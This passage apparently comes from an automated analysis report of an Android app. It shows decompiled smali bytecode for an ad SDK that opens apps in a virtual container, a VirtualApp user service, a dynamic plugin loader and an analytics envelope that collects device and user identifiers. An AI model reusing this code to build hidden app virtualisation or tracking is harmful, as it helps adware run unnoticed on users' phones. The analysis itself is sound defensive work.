                              56invoke-virtual {v0, v1}, Landroid/content/Intent;->getStringExtra(Ljava/lang/String;)Ljava/lang/String;
                              57move-result-object v1
                              59const-string/jumbo v3, "platformType"
                              61invoke-virtual {v0, v3}, Landroid/content/Intent;->getStringExtra(Ljava/lang/String;)Ljava/lang/String;
                              62move-result-object v8
                              64const-string/jumbo v3, "adType"
                              66invoke-virtual {v0, v3}, Landroid/content/Intent;->getStringExtra(Ljava/lang/String;)Ljava/lang/String;
                              67move-result-object v9
                              69const-string/jumbo v3, "adPlacementId"
                              71invoke-virtual {v0, v3}, Landroid/content/Intent;->getStringExtra(Ljava/lang/String;)Ljava/lang/String;
                              72move-result-object v10
                              74const-string/jumbo v3, "version"
                              76invoke-virtual {v0, v3}, Landroid/content/Intent;->getStringExtra(Ljava/lang/String;)Ljava/lang/String;
                              77move-result-object v11
                              78new-instance v0, Ljava/lang/StringBuilder;
                              80invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                              82const-string/jumbo v3, "NActivity openVirtual pkg= "
                              84invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              85move-result-object v0
                              87invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              88move-result-object v0
                              90const-string/jumbo v3, " -path- "
                              92invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              93move-result-object v0
                              95invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              96move-result-object v0
                              98invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              99move-result-object v0
                              101invoke-static {v0}, Lcom/omg/tool/log/Logger;->I(Ljava/lang/String;)V
                              102new-instance v0, Ljava/io/File;
                              104invoke-direct {v0, v1}, Ljava/io/File;-><init>(Ljava/lang/String;)V
                              106invoke-virtual {v0}, Ljava/io/File;->exists()Z
                              107move-result v0
                              108if-eqz v0, :cond_e2
                              110const-string/jumbo v3, ""
                              112const-string/jumbo v4, ""
                              114const-string/jumbo v5, ""
                              116const-string/jumbo v6, ""
                              117move-object v0, p0
                              119invoke-static/range {v0 .. v7}, Lcom/omgSdk/commen/d;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Z)V
                              121invoke-static {p0}, Lcom/omgSdk/a/b;->a(Landroid/content/Context;)Lcom/omgSdk/a/b;
                              122move-result-object v0
                              124const-string/jumbo v1, "appleid"
                              126invoke-static {p0, v1}, Lcom/omgSdk/andoclib/Admob;->getMiddleVersionCode(Landroid/content/Context;Ljava/lang/String;)I
                              127move-result v1
                              129invoke-static {v1}, Ljava/lang/Integer;->toString(I)Ljava/lang/String;
                              130move-result-object v1
                              132invoke-virtual {v0, v1}, Lcom/omgSdk/a/b;->b(Ljava/lang/String;)Lcom/omgSdk/a/b;
                              133move-result-object v0
                              134const/4 v1, 0x5
                              136invoke-virtual {v0, v1, v11}, Lcom/omgSdk/a/b;->a(ILjava/lang/String;)Lcom/omgSdk/a/b;
                              137move-result-object v0
                              139invoke-virtual {v0, v7, v8}, Lcom/omgSdk/a/b;->a(ILjava/lang/String;)Lcom/omgSdk/a/b;
                              140move-result-object v0
                              141const/4 v1, 0x2
                              143invoke-virtual {v0, v1, v9}, Lcom/omgSdk/a/b;->a(ILjava/lang/String;)Lcom/omgSdk/a/b;
                              144move-result-object v0
                              145const/4 v1, 0x3
                              147invoke-virtual {v0, v1, v10}, Lcom/omgSdk/a/b;->a(ILjava/lang/String;)Lcom/omgSdk/a/b;
                              148move-result-object v0
                              149const/4 v1, 0x4
                              151invoke-virtual {v0, v1, v2}, Lcom/omgSdk/a/b;->a(ILjava/lang/String;)Lcom/omgSdk/a/b;
                              152move-result-object v0
                              154const-string/jumbo v1, "ClickIconOpenApp"
                              156invoke-virtual {v0, v1}, Lcom/omgSdk/a/b;->a(Ljava/lang/String;)Lcom/omgSdk/a/b;
                              157move-result-object v0
                              159invoke-virtual {v0}, Lcom/omgSdk/a/b;->b()V
                              160cond_e2: return-void
                              Cross References
                              APIs
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • java.lang.System.setProperty
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • java.lang.System.setProperty
                              • java.lang.StringBuilder.<init>
                              • android.os.Process.myUid
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • java.lang.System.setProperty
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • java.lang.System.setProperty
                              • java.lang.System.setProperty
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • java.lang.System.setProperty
                              Strings
                              • NativeLiveSpan
                              • AOSVersion
                              • LiveUserID
                              • LiveActionCount
                              • Type
                              • 1
                              • LANS_
                              Position Instruction Meta Information
                              0.prologue
                              1sput-object p0, Lcom/omgSdk/commen/b;->a:Landroid/content/Context;
                              3const-string/jumbo v0, "NativeLiveSpan"
                              4new-instance v1, Ljava/lang/StringBuilder;
                              6invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
                              8invoke-virtual {v1, p1, p2}, Ljava/lang/StringBuilder;->append(J)Ljava/lang/StringBuilder;
                              9move-result-object v1
                              11const-string/jumbo v2, ""
                              13invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              14move-result-object v1
                              16invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              17move-result-object v1
                              19invoke-static {v0, v1}, Ljava/lang/System;->setProperty(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              21const-string/jumbo v0, "AOSVersion"
                              22new-instance v1, Ljava/lang/StringBuilder;
                              24invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
                              25sget v2, Landroid/os/Build$VERSION;->SDK_INT:I
                              27invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                              28move-result-object v1
                              30const-string/jumbo v2, ""
                              32invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              33move-result-object v1
                              35invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              36move-result-object v1
                              38invoke-static {v0, v1}, Ljava/lang/System;->setProperty(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              40const-string/jumbo v0, "LiveUserID"
                              41new-instance v1, Ljava/lang/StringBuilder;
                              43invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
                              45invoke-static {}, Landroid/os/Process;->myUid()I
                              46move-result v2
                              48invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                              49move-result-object v1
                              51const-string/jumbo v2, ""
                              53invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              54move-result-object v1
                              56invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              57move-result-object v1
                              59invoke-static {v0, v1}, Ljava/lang/System;->setProperty(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              61const-string/jumbo v0, "LiveActionCount"
                              62new-instance v1, Ljava/lang/StringBuilder;
                              64invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
                              65array-length v2, p3
                              67invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                              68move-result-object v1
                              70const-string/jumbo v2, ""
                              72invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              73move-result-object v1
                              75invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              76move-result-object v1
                              78invoke-static {v0, v1}, Ljava/lang/System;->setProperty(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              80const-string/jumbo v0, "Type"
                              82const-string/jumbo v1, "1"
                              84invoke-static {v0, v1}, Ljava/lang/System;->setProperty(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              85const/4 v0, 0x0
                              86goto_7b: array-length v1, p3
                              87if-ge v0, v1, :cond_9a
                              88new-instance v1, Ljava/lang/StringBuilder;
                              90invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
                              92const-string/jumbo v2, "LANS_"
                              94invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              95move-result-object v1
                              97invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                              98move-result-object v1
                              100invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              101move-result-object v1
                              102aget-object v2, p3, v0
                              104invoke-static {v1, v2}, Ljava/lang/System;->setProperty(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              105add-int/lit8 v0, v0, 0x1
                              106goto/16 :goto_7b
                              107cond_9a:
                              108invoke-static {p0}, Lcom/omgSdk/commen/JNIAccess;->live(Landroid/content/Context;)V
                              109const/4 v0, 0x1
                              110return v0
                              Cross References
                              APIs
                              • com.lody.virtual.server.pm.VUserManagerService.mUserListFile:Ljava/io/File
                              • java.io.File.exists
                              • com.lody.virtual.server.pm.VUserManagerService.fallbackToSingleUserLocked
                              • com.lody.virtual.server.pm.VUserManagerService.mUserListFile:Ljava/io/File
                              • android.util.Xml.newPullParser
                              • com.lody.virtual.server.pm.VUserManagerService.fallbackToSingleUserLocked
                              • java.io.FileInputStream.close
                              • java.io.IOException.printStackTrace
                              • java.lang.String.equals
                              • java.lang.Integer.parseInt
                              • java.lang.Integer.parseInt
                              • java.lang.String.equals
                              • java.lang.Integer.parseInt
                              • com.lody.virtual.server.pm.VUserManagerService.readUser
                              • com.lody.virtual.server.pm.VUserManagerService.mUsers:Landroid/util/SparseArray
                              • android.util.SparseArray.put
                              • com.lody.virtual.server.pm.VUserManagerService.fallbackToSingleUserLocked
                              • java.io.FileInputStream.close
                              • java.io.IOException.printStackTrace
                              • com.lody.virtual.server.pm.VUserManagerService.updateUserIdsLocked
                              • com.lody.virtual.server.pm.VUserManagerService.upgradeIfNecessary
                              • java.io.FileInputStream.close
                              • java.io.IOException.printStackTrace
                              • com.lody.virtual.server.pm.VUserManagerService.fallbackToSingleUserLocked
                              • java.io.FileInputStream.close
                              • java.io.IOException.printStackTrace
                              • java.io.FileInputStream.close
                              • java.io.IOException.printStackTrace
                              Strings
                              • VUserManagerService
                              • Unable to read user list
                              • users
                              • nextSerialNumber
                              • version
                              • user
                              • id
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v1, 0x0
                              2const/4 v6, 0x2
                              3const/4 v5, 0x1
                              4const/4 v0, 0x0
                              5iput-boolean v1, p0, Lcom/lody/virtual/server/pm/VUserManagerService;->mGuestEnabled:Z
                              7iget-object v1, p0, Lcom/lody/virtual/server/pm/VUserManagerService;->mUserListFile:Ljava/io/File;
                              9invoke-virtual {v1}, Ljava/io/File;->exists()Z
                              10move-result v1
                              11if-nez v1, :cond_12
                              13invoke-direct {p0}, Lcom/lody/virtual/server/pm/VUserManagerService;->fallbackToSingleUserLocked()V
                              14cond_11: return-void
                              15cond_12: new-instance v1, Lcom/lody/virtual/helper/utils/AtomicFile;
                              17iget-object v2, p0, Lcom/lody/virtual/server/pm/VUserManagerService;->mUserListFile:Ljava/io/File;
                              19invoke-direct {v1, v2}, Lcom/lody/virtual/helper/utils/AtomicFile;-><init>(Ljava/io/File;)V
                              20try_start_19:
                              21invoke-virtual {v1}, Lcom/lody/virtual/helper/utils/AtomicFile;->openRead()Ljava/io/FileInputStream;
                              22try_end_1c: move-result-object v0
                              23try_start_1d:
                              24invoke-static {}, Landroid/util/Xml;->newPullParser()Lorg/xmlpull/v1/XmlPullParser;
                              25move-result-object v1
                              26const/4 v2, 0x0
                              28invoke-interface {v1, v0, v2}, Lorg/xmlpull/v1/XmlPullParser;->setInput(Ljava/io/InputStream;Ljava/lang/String;)V
                              29cond_25:
                              30invoke-interface {v1}, Lorg/xmlpull/v1/XmlPullParser;->next()I
                              31move-result v2
                              32if-eq v2, v6, :cond_2d
                              33if-ne v2, v5, :cond_25
                              34cond_2d: if-eq v2, v6, :cond_47
                              36const-string v1, "VUserManagerService"
                              38const-string v2, "Unable to read user list"
                              39const/4 v3, 0x0
                              40new-array v3, v3, [Ljava/lang/Object;
                              42invoke-static {v1, v2, v3}, Lcom/lody/virtual/helper/utils/VLog;->e(Ljava/lang/String;Ljava/lang/String;[Ljava/lang/Object;)V
                              44invoke-direct {p0}, Lcom/lody/virtual/server/pm/VUserManagerService;->fallbackToSingleUserLocked()V
                              45try_end_3c: if-eqz v0, :cond_11
                              46try_start_3e:
                              47invoke-virtual {v0}, Ljava/io/FileInputStream;->close()V
                              48try_end_41: goto/16 :goto_11
                              49catch_42: move-exception v0
                              51invoke-virtual {v0}, Ljava/io/IOException;->printStackTrace()V
                              52goto/16 :goto_11
                              53cond_47: const/4 v2, -0x1
                              54try_start_48: iput v2, p0, Lcom/lody/virtual/server/pm/VUserManagerService;->mNextSerialNumber:I
                              56invoke-interface {v1}, Lorg/xmlpull/v1/XmlPullParser;->getName()Ljava/lang/String;
                              57move-result-object v2
                              59const-string v3, "users"
                              61invoke-virtual {v2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              62move-result v2
                              63if-eqz v2, :cond_74
                              64const/4 v2, 0x0
                              66const-string v3, "nextSerialNumber"
                              68invoke-interface {v1, v2, v3}, Lorg/xmlpull/v1/XmlPullParser;->getAttributeValue(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              69move-result-object v2
                              70if-eqz v2, :cond_65
                              72invoke-static {v2}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
                              73move-result v2
                              74iput v2, p0, Lcom/lody/virtual/server/pm/VUserManagerService;->mNextSerialNumber:I
                              75cond_65: const/4 v2, 0x0
                              77const-string v3, "version"
                              79invoke-interface {v1, v2, v3}, Lorg/xmlpull/v1/XmlPullParser;->getAttributeValue(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              80move-result-object v2
                              81if-eqz v2, :cond_74
                              83invoke-static {v2}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
                              84move-result v2
                              85iput v2, p0, Lcom/lody/virtual/server/pm/VUserManagerService;->mUserVersion:I
                              86cond_74:
                              87invoke-interface {v1}, Lorg/xmlpull/v1/XmlPullParser;->next()I
                              88move-result v2
                              89if-eq v2, v5, :cond_cb
                              90if-ne v2, v6, :cond_74
                              92invoke-interface {v1}, Lorg/xmlpull/v1/XmlPullParser;->getName()Ljava/lang/String;
                              93move-result-object v2
                              95const-string v3, "user"
                              97invoke-virtual {v2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              98move-result v2
                              99if-eqz v2, :cond_74
                              100const/4 v2, 0x0
                              102const-string v3, "id"
                              104invoke-interface {v1, v2, v3}, Lorg/xmlpull/v1/XmlPullParser;->getAttributeValue(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              105move-result-object v2
                              107invoke-static {v2}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
                              108move-result v2
                              110invoke-direct {p0, v2}, Lcom/lody/virtual/server/pm/VUserManagerService;->readUser(I)Lcom/lody/virtual/os/VUserInfo;
                              111move-result-object v2
                              112if-eqz v2, :cond_74
                              114iget-object v3, p0, Lcom/lody/virtual/server/pm/VUserManagerService;->mUsers:Landroid/util/SparseArray;
                              115iget v4, v2, Lcom/lody/virtual/os/VUserInfo;->id:I
                              117invoke-virtual {v3, v4, v2}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
                              119invoke-virtual {v2}, Lcom/lody/virtual/os/VUserInfo;->isGuest()Z
                              120move-result v3
                              121if-eqz v3, :cond_a9
                              122const/4 v3, 0x1
                              123iput-boolean v3, p0, Lcom/lody/virtual/server/pm/VUserManagerService;->mGuestEnabled:Z
                              124cond_a9: iget v3, p0, Lcom/lody/virtual/server/pm/VUserManagerService;->mNextSerialNumber:I
                              125if-ltz v3, :cond_b3
                              126iget v3, p0, Lcom/lody/virtual/server/pm/VUserManagerService;->mNextSerialNumber:I
                              127iget v4, v2, Lcom/lody/virtual/os/VUserInfo;->id:I
                              128if-gt v3, v4, :cond_74
                              129cond_b3: iget v2, v2, Lcom/lody/virtual/os/VUserInfo;->id:I
                              130add-int/lit8 v2, v2, 0x1
                              131iput v2, p0, Lcom/lody/virtual/server/pm/VUserManagerService;->mNextSerialNumber:I
                              132try_end_b9: goto/16 :goto_74
                              133catch_ba: move-exception v1
                              134try_start_bb:
                              135invoke-direct {p0}, Lcom/lody/virtual/server/pm/VUserManagerService;->fallbackToSingleUserLocked()V
                              136try_end_be: if-eqz v0, :cond_11
                              137try_start_c0:
                              138invoke-virtual {v0}, Ljava/io/FileInputStream;->close()V
                              139try_end_c3: goto/16 :goto_11
                              140catch_c5: move-exception v0
                              142invoke-virtual {v0}, Ljava/io/IOException;->printStackTrace()V
                              143goto/16 :goto_11
                              144cond_cb:
                              145invoke-direct {p0}, Lcom/lody/virtual/server/pm/VUserManagerService;->updateUserIdsLocked()V
                              147invoke-direct {p0}, Lcom/lody/virtual/server/pm/VUserManagerService;->upgradeIfNecessary()V
                              148try_end_d1: if-eqz v0, :cond_11
                              149try_start_d3:
                              150invoke-virtual {v0}, Ljava/io/FileInputStream;->close()V
                              151try_end_d6: goto/16 :goto_11
                              152catch_d8: move-exception v0
                              154invoke-virtual {v0}, Ljava/io/IOException;->printStackTrace()V
                              155goto/16 :goto_11
                              156catch_de: move-exception v1
                              157try_start_df:
                              158invoke-direct {p0}, Lcom/lody/virtual/server/pm/VUserManagerService;->fallbackToSingleUserLocked()V
                              159try_end_e2: if-eqz v0, :cond_11
                              160try_start_e4:
                              161invoke-virtual {v0}, Ljava/io/FileInputStream;->close()V
                              162try_end_e7: goto/16 :goto_11
                              163catch_e9: move-exception v0
                              165invoke-virtual {v0}, Ljava/io/IOException;->printStackTrace()V
                              166goto/16 :goto_11
                              167catchall_ef: move-exception v1
                              168move-object v7, v1
                              169move-object v1, v0
                              170move-object v0, v7
                              171goto_f3: if-eqz v1, :cond_f8
                              172try_start_f5:
                              173invoke-virtual {v1}, Ljava/io/FileInputStream;->close()V
                              174cond_f8: throw v0
                              175catch_f9: move-exception v1
                              177invoke-virtual {v1}, Ljava/io/IOException;->printStackTrace()V
                              178goto/16 :goto_f8
                              179catchall_fe: move-exception v1
                              180move-object v7, v1
                              181move-object v1, v0
                              182move-object v0, v7
                              183goto/16 :goto_f3
                              Cross References
                              APIs
                              • java.util.HashMap.<init>
                              • java.util.Map.put
                              • java.lang.String.startsWith
                              • java.lang.String.substring
                              • android.os.Bundle.<init>
                              • android.os.Bundle.putString
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              Strings
                              • place
                              • Place
                              • Process
                              • ?
                              • PluginName
                              • load
                              • fail not found
                              • service
                              • DebugLog.Sdk
                              • sdk
                              • pluginLoadError
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v1, 0x0
                              2const/4 v0, 0x1
                              3monitor-enter p0
                              4try_start_3:
                              5const-string/jumbo v2, "place"
                              7invoke-virtual {p1, v2}, Lsdk/nicro/lu/ps/h;->d(Ljava/lang/String;)Ljava/lang/String;
                              8move-result-object v2
                              9new-instance v3, Ljava/util/HashMap;
                              11invoke-direct {v3}, Ljava/util/HashMap;-><init>()V
                              13const-string/jumbo v4, "Place"
                              15const-string/jumbo v5, "Process"
                              17invoke-interface {v3, v4, v5}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              18if-eqz v2, :cond_e5
                              20const-string/jumbo v4, "?"
                              22invoke-virtual {v2, v4}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
                              23move-result v4
                              24if-eqz v4, :cond_f7
                              25const/4 v1, 0x1
                              27invoke-virtual {v2, v1}, Ljava/lang/String;->substring(I)Ljava/lang/String;
                              28move-result-object v1
                              29goto_28: new-instance v2, Landroid/os/Bundle;
                              31invoke-direct {v2}, Landroid/os/Bundle;-><init>()V
                              33const-string/jumbo v4, "PluginName"
                              35invoke-virtual {p1}, Lsdk/nicro/lu/ps/h;->a()Ljava/lang/String;
                              36move-result-object v5
                              38invoke-virtual {v2, v4, v5}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                              40iget-object v4, p0, Lsdk/nicro/lu/ps/e;->b:Landroid/content/Context;
                              42invoke-static {v4, v1, v2}, Lsdk/nicro/lu/m;->a(Landroid/content/Context;Ljava/lang/String;Landroid/os/Bundle;)Z
                              43move-result v2
                              44if-nez v2, :cond_48
                              45if-eqz v0, :cond_4a
                              47invoke-virtual {p1}, Lsdk/nicro/lu/ps/h;->a()Ljava/lang/String;
                              48move-result-object v0
                              50invoke-virtual {p0, v0, v3}, Lsdk/nicro/lu/ps/e;->a(Ljava/lang/String;Ljava/util/Map;)Lsdk/nicro/lu/ps/f;
                              51cond_48: monitor-exit p0
                              52return-void
                              53cond_4a:
                              54invoke-static {}, Lsdk/nicro/lu/t;->a()Lsdk/nicro/lu/h;
                              55move-result-object v0
                              56new-instance v2, Ljava/lang/StringBuilder;
                              58invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                              60const-string/jumbo v3, "load "
                              62invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              63move-result-object v2
                              65invoke-virtual {p1}, Lsdk/nicro/lu/ps/h;->a()Ljava/lang/String;
                              66move-result-object v3
                              68invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              69move-result-object v2
                              71const-string/jumbo v3, " fail not found "
                              73invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              74move-result-object v2
                              76invoke-virtual {v2, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              77move-result-object v1
                              79const-string/jumbo v2, " service"
                              81invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              82move-result-object v1
                              84invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              85move-result-object v1
                              87invoke-interface {v0, v1}, Lsdk/nicro/lu/h;->b(Ljava/lang/String;)V
                              88try_end_7b: goto/16 :goto_48
                              89catch_7c: move-exception v0
                              90try_start_7d:
                              91iget-object v1, p0, Lsdk/nicro/lu/ps/e;->b:Landroid/content/Context;
                              93invoke-static {v1}, Lsdk/nicro/lu/s;->a(Landroid/content/Context;)Lsdk/nicro/lu/s;
                              94move-result-object v1
                              96const-string/jumbo v2, "DebugLog.Sdk"
                              97const/4 v3, 0x0
                              99invoke-virtual {v1, v2, v3}, Lsdk/nicro/lu/s;->a(Ljava/lang/String;Z)Z
                              100try_end_8a: move-result v1
                              101if-eqz v1, :cond_e1
                              102try_start_8d:
                              103iget-object v1, p0, Lsdk/nicro/lu/ps/e;->b:Landroid/content/Context;
                              105invoke-static {v1}, Lsdk/nicro/lu/a;->b(Landroid/content/Context;)Lsdk/nicro/lu/a;
                              106move-result-object v1
                              108sget-object v2, Lsdk/nicro/lu/u;->b:Ljava/lang/String;
                              110invoke-virtual {v1, v2}, Lsdk/nicro/lu/a;->d(Ljava/lang/String;)Lsdk/nicro/lu/a;
                              111move-result-object v1
                              113const-string/jumbo v2, "sdk"
                              115invoke-virtual {v1, v2}, Lsdk/nicro/lu/a;->e(Ljava/lang/String;)Lsdk/nicro/lu/a;
                              116move-result-object v1
                              118const-string/jumbo v2, "pluginLoadError"
                              120invoke-virtual {v1, v2}, Lsdk/nicro/lu/a;->a(Ljava/lang/String;)Lsdk/nicro/lu/a;
                              121move-result-object v1
                              122const/4 v2, 0x1
                              124invoke-virtual {p1}, Lsdk/nicro/lu/ps/h;->d()Ljava/lang/String;
                              125move-result-object v3
                              127invoke-virtual {v1, v2, v3}, Lsdk/nicro/lu/a;->a(ILjava/lang/String;)Lsdk/nicro/lu/a;
                              128move-result-object v1
                              129const/4 v2, 0x2
                              130new-instance v3, Ljava/lang/StringBuilder;
                              132invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                              134invoke-virtual {p1}, Lsdk/nicro/lu/ps/h;->b()I
                              135move-result v4
                              137invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                              138move-result-object v3
                              140const-string/jumbo v4, ""
                              142invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              143move-result-object v3
                              145invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              146move-result-object v3
                              148invoke-virtual {v1, v2, v3}, Lsdk/nicro/lu/a;->a(ILjava/lang/String;)Lsdk/nicro/lu/a;
                              149move-result-object v1
                              150const/4 v2, 0x3
                              152const-string/jumbo v3, "Process"
                              154invoke-virtual {v1, v2, v3}, Lsdk/nicro/lu/a;->a(ILjava/lang/String;)Lsdk/nicro/lu/a;
                              155move-result-object v1
                              156const/4 v2, 0x6
                              158invoke-static {v0}, Lsdk/nicro/lu/t;->b(Ljava/lang/Throwable;)Ljava/lang/String;
                              159move-result-object v3
                              161invoke-virtual {v1, v2, v3}, Lsdk/nicro/lu/a;->a(ILjava/lang/String;)Lsdk/nicro/lu/a;
                              162move-result-object v1
                              164invoke-virtual {v1}, Lsdk/nicro/lu/a;->h()V
                              165goto_e1: throw v0
                              166try_end_e2: move-exception v0
                              167monitor-exit p0
                              168throw v0
                              169try_start_e5:
                              170invoke-virtual {p1}, Lsdk/nicro/lu/ps/h;->a()Ljava/lang/String;
                              171move-result-object v0
                              173invoke-virtual {p0, v0, v3}, Lsdk/nicro/lu/ps/e;->a(Ljava/lang/String;Ljava/util/Map;)Lsdk/nicro/lu/ps/f;
                              174try_end_ec: goto/16 :goto_48
                              175catch_ee: move-exception v1
                              176try_start_ef:
                              177invoke-static {}, Lsdk/nicro/lu/t;->a()Lsdk/nicro/lu/h;
                              178move-result-object v1
                              180invoke-interface {v1, v0}, Lsdk/nicro/lu/h;->a(Ljava/lang/Throwable;)V
                              181try_end_f6: goto/16 :goto_e1
                              182cond_f7: move v0, v1
                              183move-object v1, v2
                              184goto/16 :goto_28
                              APIs
                              • java.util.HashMap.<init>
                              • java.util.Map.put
                              • java.util.Map.put
                              • java.util.EnumMap.<init>
                              • b.a.ap$e.a:Lb/a/ap$e
                              • java.util.Map.put
                              • b.a.ap$e.b:Lb/a/ap$e
                              • java.util.Map.put
                              • b.a.ap$e.c:Lb/a/ap$e
                              • java.util.Map.put
                              • b.a.ap$e.d:Lb/a/ap$e
                              • java.util.Map.put
                              • b.a.ap$e.e:Lb/a/ap$e
                              • java.util.Map.put
                              • b.a.ap$e.f:Lb/a/ap$e
                              • java.util.Map.put
                              • b.a.ap$e.g:Lb/a/ap$e
                              • java.util.Map.put
                              • b.a.ap$e.h:Lb/a/ap$e
                              • java.util.Map.put
                              • b.a.ap$e.i:Lb/a/ap$e
                              • java.util.Map.put
                              • b.a.ap$e.j:Lb/a/ap$e
                              • java.util.Map.put
                              • java.util.Collections.unmodifiableMap
                              Strings
                              • UMEnvelope
                              • version
                              • address
                              • signature
                              • serial_num
                              • ts_secs
                              • length
                              • entity
                              • guid
                              • checksum
                              • codex
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v3, 0x0
                              2const/4 v8, 0x2
                              3const/16 v7, 0x8
                              4const/4 v6, 0x1
                              5const/16 v5, 0xb
                              6new-instance v0, Lb/a/bz;
                              8const-string v1, "UMEnvelope"
                              10invoke-direct {v0, v1}, Lb/a/bz;-><init>(Ljava/lang/String;)V
                              11sput-object v0, Lb/a/ap;->l:Lb/a/bz;
                              12new-instance v0, Lb/a/bq;
                              14const-string v1, "version"
                              16invoke-direct {v0, v1, v5, v6}, Lb/a/bq;-><init>(Ljava/lang/String;BS)V
                              17sput-object v0, Lb/a/ap;->m:Lb/a/bq;
                              18new-instance v0, Lb/a/bq;
                              20const-string v1, "address"
                              22invoke-direct {v0, v1, v5, v8}, Lb/a/bq;-><init>(Ljava/lang/String;BS)V
                              23sput-object v0, Lb/a/ap;->n:Lb/a/bq;
                              24new-instance v0, Lb/a/bq;
                              26const-string v1, "signature"
                              27const/4 v2, 0x3
                              29invoke-direct {v0, v1, v5, v2}, Lb/a/bq;-><init>(Ljava/lang/String;BS)V
                              30sput-object v0, Lb/a/ap;->o:Lb/a/bq;
                              31new-instance v0, Lb/a/bq;
